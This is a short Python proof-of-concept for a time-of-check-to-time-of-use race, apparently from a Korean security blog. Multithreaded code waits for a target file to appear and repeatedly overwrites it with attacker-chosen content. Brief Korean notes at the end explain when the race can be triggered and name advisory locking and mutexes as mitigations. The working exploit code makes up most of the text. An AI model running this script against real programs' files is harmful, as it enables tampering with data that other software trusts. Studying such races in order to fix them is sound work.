TOCTOU PoC

import os
import threading

def attack_file(directory, filename, counter, limit):
    filepath = os.path.join(directory, filename)
    malicious_content = "test"

    while True:
        if os.path.exists(filepath):
            try:
                with open(filepath, "w") as f:
                    f.write(malicious_content)
                with counter.get_lock():
                    counter.value += 1
                    print(f"[DEBUG] Overwrite count: {counter.value}")
                    if counter.value >= limit:
                        break
                print(f"[ATTACK] Overwritten file: {filepath}")
            except Exception as e:
                print(f"[ERROR] Could not overwrite {filepath}: {e}")

def toctou_attack(directory, filename, threads, limit):
    if not os.path.exists(directory):
        os.makedirs(directory)

    from multiprocessing import Value
    counter = Value('i', 0)

    attack_threads = []
    for _ in range(threads):
        t = threading.Thread(target=attack_file, args=(directory, filename, counter, limit))
        attack_threads.append(t)
        t.start()

    for t in attack_threads:
        t.join()

if __name__ == "__main__":
    directory = input("(string)dir path: ").strip()
    filename = input("(string)file name: ").strip()
    threads = int(input("(int)threads operations: ").strip())
    limit = int(input("(int)overwrites limit: ").strip())

    toctou_attack(
        directory=directory,
        filename=filename,
        threads=threads,
        limit=limit
    )

 

특정 취약 프로그램에서 파일 생성 및 로드시 시도할 수 있는 TOCTOU PoC 코드임

취약 프로그램이 생성 및 로드하는 공유 자원에 대한 다른 스레드가 접근이 가능한 경우 TOCTOU 트리거가 가능함

 

Advisory Locking, Mutex 등을 사용하여 동시성을 제어하는 방법이 도움이 될수 있음